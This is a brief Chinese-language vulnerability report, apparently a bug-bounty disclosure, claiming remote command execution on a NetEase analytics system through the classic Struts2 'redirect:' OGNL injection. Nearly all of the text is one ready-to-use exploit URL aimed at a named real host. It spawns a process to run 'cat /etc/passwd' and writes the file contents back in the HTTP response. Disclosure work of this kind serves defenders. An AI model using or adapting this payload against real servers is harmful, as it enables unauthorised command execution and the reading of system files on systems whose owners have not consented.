网易某系统命令执行，经典Struts2漏洞复现，如下图：

http://analytics.ws.netease.com/login.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}